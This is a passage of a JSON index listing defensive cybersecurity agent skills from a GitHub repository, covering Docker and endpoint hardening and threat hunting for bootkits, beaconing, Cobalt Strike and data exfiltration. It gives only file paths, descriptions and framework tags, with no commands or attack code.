-->","isInternal":false,"tokens":808,"sizeBytes":2710},{"name":"SKILL.md","path":"skills/hardening-docker-daemon-configuration/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hardening-docker-daemon-configuration/SKILL.md","title":"hardening-docker-daemon-configuration","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-docker-daemon-configuration%2FSKILL.md -->","frontmatter":{"name":"hardening-docker-daemon-configuration","description":"Hardens the Docker daemon (dockerd) through /etc/docker/daemon.json with user namespace remapping, TLS client authentication, seccomp profiles, and CIS Docker Benchmark controls such as icc, no-new-privileges, and live-restore. Use when securing a Docker host's daemon to prevent privilege escalation, breakout, or lateral movement, or when auditing daemon settings against CIS requirements. Keywords: dockerd, daemon.json, userns-remap, no-new-privileges, icc, live-restore, TLS socket. Do not use for hardening images and per-container runtime flags - use hardening-docker-containers-for-production.","domain":"cybersecurity","subdomain":"container-security","tags":["docker","daemon-hardening","container-security","cis-benchmark","rootless","userns-remap"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.IR-01","ID.AM-08","DE.CM-01"],"mitre_attack":["T1610","T1611","T1609","T1525","T1553"]},"isInternal":false,"tokens":2305,"sizeBytes":8583},{"name":"template.md","path":"skills/hardening-linux-endpoint-with-cis-benchmark/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hardening-linux-endpoint-with-cis-benchmark/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-linux-endpoint-with-cis-benchmark%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":165,"sizeBytes":655},{"name":"api-reference.md","path":"skills/hardening-linux-endpoint-with-cis-benchmark/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hardening-linux-endpoint-with-cis-benchmark/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-linux-endpoint-with-cis-benchmark%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":662,"sizeBytes":2265},{"name":"standards.md","path":"skills/hardening-linux-endpoint-with-cis-benchmark/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hardening-linux-endpoint-with-cis-benchmark/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-linux-endpoint-with-cis-benchmark%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":280,"sizeBytes":1048},{"name":"workflows.md","path":"skills/hardening-linux-endpoint-with-cis-benchmark/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hardening-linux-endpoint-with-cis-benchmark/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-linux-endpoint-with-cis-benchmark%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":175,"sizeBytes":739},{"name":"SKILL.md","path":"skills/hardening-linux-endpoint-with-cis-benchmark/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hardening-linux-endpoint-with-cis-benchmark/SKILL.md","title":"hardening-linux-endpoint-with-cis-benchmark","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-linux-endpoint-with-cis-benchmark%2FSKILL.md -->","frontmatter":{"name":"hardening-linux-endpoint-with-cis-benchmark","description":"Hardens Linux endpoints using CIS Benchmark recommendations for Ubuntu, RHEL, and CentOS to reduce attack surface, enforce security baselines, and meet compliance requirements. Use when deploying new Linux servers, remediating audit findings, or establishing security baselines for Linux infrastructure. Activates for requests involving Linux hardening, CIS benchmarks for Linux, server security baselines, or Linux configuration compliance.\n","domain":"cybersecurity","subdomain":"endpoint-security","tags":["endpoint","hardening","linux-security","CIS-benchmark","Ubuntu","RHEL"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.PS-02","DE.CM-01","PR.IR-01"],"mitre_attack":["T1055","T1547","T1059","T1036"]},"isInternal":false,"tokens":2077,"sizeBytes":7315},{"name":"template.md","path":"skills/hardening-windows-endpoint-with-cis-benchmark/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hardening-windows-endpoint-with-cis-benchmark/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-windows-endpoint-with-cis-benchmark%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":482,"sizeBytes":2018},{"name":"api-reference.md","path":"skills/hardening-windows-endpoint-with-cis-benchmark/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hardening-windows-endpoint-with-cis-benchmark/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-windows-endpoint-with-cis-benchmark%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":608,"sizeBytes":2330},{"name":"standards.md","path":"skills/hardening-windows-endpoint-with-cis-benchmark/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hardening-windows-endpoint-with-cis-benchmark/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-windows-endpoint-with-cis-benchmark%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":646,"sizeBytes":2749},{"name":"workflows.md","path":"skills/hardening-windows-endpoint-with-cis-benchmark/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hardening-windows-endpoint-with-cis-benchmark/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-windows-endpoint-with-cis-benchmark%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":780,"sizeBytes":3601},{"name":"SKILL.md","path":"skills/hardening-windows-endpoint-with-cis-benchmark/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hardening-windows-endpoint-with-cis-benchmark/SKILL.md","title":"hardening-windows-endpoint-with-cis-benchmark","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhardening-windows-endpoint-with-cis-benchmark%2FSKILL.md -->","frontmatter":{"name":"hardening-windows-endpoint-with-cis-benchmark","description":"Hardens Windows endpoints using CIS (Center for Internet Security) Benchmark recommendations to reduce attack surface, enforce security baselines, and meet compliance requirements. Use when deploying new Windows workstations or servers, remediating audit findings, or establishing organization-wide security baselines. Activates for requests involving Windows hardening, CIS benchmarks, GPO security baselines, or endpoint configuration compliance.\n","domain":"cybersecurity","subdomain":"endpoint-security","tags":["endpoint","hardening","windows-security","CIS-benchmark","GPO","baseline-configuration"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.PS-02","DE.CM-01","PR.IR-01"],"mitre_attack":["T1055","T1547","T1059","T1036"]},"isInternal":false,"tokens":2177,"sizeBytes":8886},{"name":"api-reference.md","path":"skills/hunting-advanced-persistent-threats/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-advanced-persistent-threats/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-advanced-persistent-threats%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":559,"sizeBytes":2114},{"name":"SKILL.md","path":"skills/hunting-advanced-persistent-threats/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-advanced-persistent-threats/SKILL.md","title":"hunting-advanced-persistent-threats","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-advanced-persistent-threats%2FSKILL.md -->","frontmatter":{"name":"hunting-advanced-persistent-threats","description":"Proactively hunts for Advanced Persistent Threat (APT) activity within enterprise environments using hypothesis-driven searches across endpoint telemetry, network logs, and memory artifacts. Use when conducting scheduled threat hunting cycles, investigating anomalous behavior flagged by UEBA, or validating that known APT TTPs are not present in the environment. Activates for requests involving MITRE ATT&CK, Velociraptor, osquery, Zeek, or threat hunting playbooks.\n","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["MITRE-ATT&CK","threat-hunting","APT","Velociraptor","osquery","Zeek","TTP","NIST-CSF","EDR"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["File Metadata Consistency Validation","Application Protocol Command Analysis","Identifier Analysis","Content Format Conversion","Message Analysis"],"nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1591","T1592","T1593","T1589","T1005"]},"isInternal":false,"tokens":1538,"sizeBytes":6783},{"name":"api-reference.md","path":"skills/hunting-bootkits-in-efi-system-partition/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-bootkits-in-efi-system-partition/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-bootkits-in-efi-system-partition%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":794,"sizeBytes":2769},{"name":"standards.md","path":"skills/hunting-bootkits-in-efi-system-partition/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-bootkits-in-efi-system-partition/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-bootkits-in-efi-system-partition%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":372,"sizeBytes":1445},{"name":"SKILL.md","path":"skills/hunting-bootkits-in-efi-system-partition/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-bootkits-in-efi-system-partition/SKILL.md","title":"hunting-bootkits-in-efi-system-partition","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-bootkits-in-efi-system-partition%2FSKILL.md -->","frontmatter":{"name":"hunting-bootkits-in-efi-system-partition","description":"Baseline the EFI System Partition and hunt malicious EFI binaries such as ESPecter, BlackLotus, Bootkitty, and Glupteba by mounting the ESP, hashing and verifying boot loaders, scanning with YARA, and flagging anomalous non-EFI files or out-of-band bootloader changes. Use during proactive threat hunts for firmware/bootkit persistence (MITRE ATT&CK T1542.003) or when investigating suspected UEFI-level compromise that survives OS reinstall.","domain":"cybersecurity","subdomain":"hardware-firmware-security","tags":["bootkit","uefi","efi-system-partition","secure-boot","firmware-forensics","threat-hunting","yara","measured-boot"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01"],"mitre_attack":["T1542.003"]},"isInternal":false,"tokens":3331,"sizeBytes":12763},{"name":"api-reference.md","path":"skills/hunting-credential-stuffing-attacks/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-credential-stuffing-attacks/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-credential-stuffing-attacks%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":364,"sizeBytes":1479},{"name":"SKILL.md","path":"skills/hunting-credential-stuffing-attacks/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-credential-stuffing-attacks/SKILL.md","title":"hunting-credential-stuffing-attacks","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-credential-stuffing-attacks%2FSKILL.md -->","frontmatter":{"name":"hunting-credential-stuffing-attacks","description":"Detects credential stuffing attacks by analyzing authentication logs for login velocity anomalies, ASN diversity, password spray patterns, and geographic distribution of failed logins. Uses statistical analysis on Splunk or raw log data. Use when investigating account takeover campaigns or building detection rules for auth abuse.\n","domain":"cybersecurity","subdomain":"security-operations","tags":["credential-stuffing","authentication-logs","login-anomaly","asn-analysis","threat-hunting","account-takeover"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","RS.MA-01","GV.OV-01","DE.AE-02"],"mitre_attack":["T1078","T1190","T1059","T1003","T1110"],"mitre_f3":{"version":"1.1","tactics":["initial-access","positioning"],"techniques":[{"id":"T1110.004","name":"Brute Force:  Credential Stuffing","tactic":"initial-access","source":"attack"},{"id":"T1110.003","name":"Brute Force: Password Spraying","tactic":"initial-access","source":"attack"},{"id":"F1006.002","name":"Account Takeover: Exposed Login Credential","tactic":"initial-access","source":"f3"},{"id":"F1006","name":"Account Takeover","tactic":"initial-access","source":"f3"}]}},"isInternal":false,"tokens":711,"sizeBytes":2926},{"name":"api-reference.md","path":"skills/hunting-evtx-with-chainsaw/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-evtx-with-chainsaw/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-evtx-with-chainsaw%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":641,"sizeBytes":2204},{"name":"standards.md","path":"skills/hunting-evtx-with-chainsaw/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-evtx-with-chainsaw/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-evtx-with-chainsaw%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":423,"sizeBytes":1771},{"name":"SKILL.md","path":"skills/hunting-evtx-with-chainsaw/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-evtx-with-chainsaw/SKILL.md","title":"hunting-evtx-with-chainsaw","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-evtx-with-chainsaw%2FSKILL.md -->","frontmatter":{"name":"hunting-evtx-with-chainsaw","description":"Run Chainsaw against collected Windows EVTX files to hunt with the SigmaHQ rule corpus, built-in detection rules, and high-speed keyword/regex search, plus analyze shimcache, SRUM, and event-log gaps, outputting colorized tables, CSV, or JSON. Use during first-response triage for offline, SIEM-free detection over Windows event logs, or to quickly confirm a hunt hypothesis and produce reporting output.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["chainsaw","threat-hunting","evtx","sigma","windows-event-logs","dfir","detection","shimcache"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.AE-02"],"mitre_attack":["T1059.001"]},"isInternal":false,"tokens":2076,"sizeBytes":8492},{"name":"api-reference.md","path":"skills/hunting-for-anomalous-powershell-execution/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-anomalous-powershell-execution/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-anomalous-powershell-execution%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1042,"sizeBytes":4224},{"name":"SKILL.md","path":"skills/hunting-for-anomalous-powershell-execution/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-anomalous-powershell-execution/SKILL.md","title":"hunting-for-anomalous-powershell-execution","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-anomalous-powershell-execution%2FSKILL.md -->","frontmatter":{"name":"hunting-for-anomalous-powershell-execution","description":"Hunt for malicious PowerShell activity by analyzing Script Block Logging (Event 4104), Module Logging (Event 4103), and process creation events. The analyst parses Windows Event Log EVTX files to detect obfuscated commands, AMSI bypass attempts, encoded payloads, credential dumping keywords, and suspicious download cradles. Activates for requests involving PowerShell threat hunting, script block analysis, encoded command detection, or AMSI bypass identification.\n","domain":"cybersecurity","subdomain":"threat-hunting","tags":["powershell","script-block-logging","event-4104","amsi","threat-hunting","evtx","obfuscation"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1046","T1057","T1082","T1083","T1003"]},"isInternal":false,"tokens":612,"sizeBytes":2552},{"name":"template.md","path":"skills/hunting-for-beaconing-with-frequency-analysis/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-beaconing-with-frequency-analysis/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-beaconing-with-frequency-analysis%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":424,"sizeBytes":1617},{"name":"api-reference.md","path":"skills/hunting-for-beaconing-with-frequency-analysis/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-beaconing-with-frequency-analysis/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-beaconing-with-frequency-analysis%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":732,"sizeBytes":2707},{"name":"standards.md","path":"skills/hunting-for-beaconing-with-frequency-analysis/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-beaconing-with-frequency-analysis/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-beaconing-with-frequency-analysis%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":847,"sizeBytes":3577},{"name":"workflows.md","path":"skills/hunting-for-beaconing-with-frequency-analysis/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-beaconing-with-frequency-analysis/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-beaconing-with-frequency-analysis%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":1292,"sizeBytes":4808},{"name":"SKILL.md","path":"skills/hunting-for-beaconing-with-frequency-analysis/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-beaconing-with-frequency-analysis/SKILL.md","title":"hunting-for-beaconing-with-frequency-analysis","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-beaconing-with-frequency-analysis%2FSKILL.md -->","frontmatter":{"name":"hunting-for-beaconing-with-frequency-analysis","description":"Identify command-and-control beaconing patterns in network traffic by applying statistical frequency analysis, jitter calculation, and coefficient of variation scoring to detect periodic callbacks from compromised endpoints.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["threat-hunting","beaconing","c2-detection","frequency-analysis","network-traffic","RITA","jitter-detection","mitre-t1071"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["File Metadata Consistency Validation","Certificate Analysis","Application Protocol Command Analysis","Content Format Conversion","File Content Analysis"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1046","T1057","T1082","T1083","T1071"]},"isInternal":false,"tokens":1855,"sizeBytes":7978},{"name":"api-reference.md","path":"skills/hunting-for-cobalt-strike-beacons/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-cobalt-strike-beacons/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-cobalt-strike-beacons%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1482,"sizeBytes":4677},{"name":"SKILL.md","path":"skills/hunting-for-cobalt-strike-beacons/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-cobalt-strike-beacons/SKILL.md","title":"hunting-for-cobalt-strike-beacons","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-cobalt-strike-beacons%2FSKILL.md -->","frontmatter":{"name":"hunting-for-cobalt-strike-beacons","description":"Detect Cobalt Strike beacon command-and-control traffic using default TLS certificate signatures (serial 8BB00EE), JA3/JA3S/JARM fingerprints, HTTP malleable C2 profile pattern matching, and beacon jitter/interval analysis, built with Zeek network logs, Suricata IDS rules, and Python PCAP analysis. Use when hunting for Cobalt Strike beacon callbacks in network traffic or building detection rules for this C2 framework.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["cobalt-strike","beacon","threat-hunting","c2","zeek","suricata","ja3","jarm","network-forensics"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1046","T1057","T1082","T1083","T1071"]},"isInternal":false,"tokens":682,"sizeBytes":2969},{"name":"template.md","path":"skills/hunting-for-command-and-control-beaconing/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-command-and-control-beaconing/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-command-and-control-beaconing%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":269,"sizeBytes":996},{"name":"api-reference.md","path":"skills/hunting-for-command-and-control-beaconing/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-command-and-control-beaconing/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-command-and-control-beaconing%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":675,"sizeBytes":2222},{"name":"standards.md","path":"skills/hunting-for-command-and-control-beaconing/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-command-and-control-beaconing/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-command-and-control-beaconing%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":840,"sizeBytes":3224},{"name":"workflows.md","path":"skills/hunting-for-command-and-control-beaconing/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-command-and-control-beaconing/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-command-and-control-beaconing%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":1203,"sizeBytes":4360},{"name":"SKILL.md","path":"skills/hunting-for-command-and-control-beaconing/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-command-and-control-beaconing/SKILL.md","title":"hunting-for-command-and-control-beaconing","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-command-and-control-beaconing%2FSKILL.md -->","frontmatter":{"name":"hunting-for-command-and-control-beaconing","description":"Detect C2 beaconing patterns in network traffic using frequency analysis, jitter detection, and domain reputation to identify compromised endpoints communicating with adversary infrastructure.","domain":"cybersecurity","subdomain":"threat-hunting","tags":["threat-hunting","mitre-attack","c2","beaconing","network-analysis","proactive-detection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["File Metadata Consistency Validation","Certificate Analysis","Application Protocol Command Analysis","Content Format Conversion","File Content Analysis"],"nist_csf":["DE.CM-01","DE.AE-02","DE.AE-07","ID.RA-05"],"mitre_attack":["T1046","T1057","T1082","T1083","T1071"]},"isInternal":false,"tokens":1054,"sizeBytes":4523},{"name":"template.md","path":"skills/hunting-for-data-exfiltration-indicators/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-data-exfiltration-indicators/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-data-exfiltration-indicators%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":192,"sizeBytes":714},{"name":"api-reference.md","path":"skills/hunting-for-data-exfiltration-indicators/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-data-exfiltration-indicators/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-data-exfiltration-indicators%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":388,"sizeBytes":1392},{"name":"standards.md","path":"skills/hunting-for-data-exfiltration-indicators/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-data-exfiltration-indicators/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-data-exfiltration-indicators%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":558,"sizeBytes":2213},{"name":"workflows.md","path":"skills/hunting-for-data-exfiltration-indicators/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-data-exfiltration-indicators/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-data-exfiltration-indicators%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":732,"sizeBytes":2505},{"name":"SKILL.md","path":"skills/hunting-for-data-exfiltration-indicators/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/hunting-for-data-exfiltration-indicators/SKILL.md","title":"hunting-for-data-exfiltration-indicators","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fhunting-for-data-exfiltration-indicators%2FSKILL.md -->","frontmatter":{"name":"hunting-for-data-exfiltration-indicators","description":"Hunt for data exfiltration by analyzing Zeek and Suricata network telemetry for unusual data flows, DNS tunneling via large/frequent TXT queries, uploads to personal cloud storage, and encrypted-channel abuse, correlated against threat intel on destination domains. Use when hunting for data theft in a compromised environment, investigating unusual outbound data volumes, or determining what data was stolen during incident 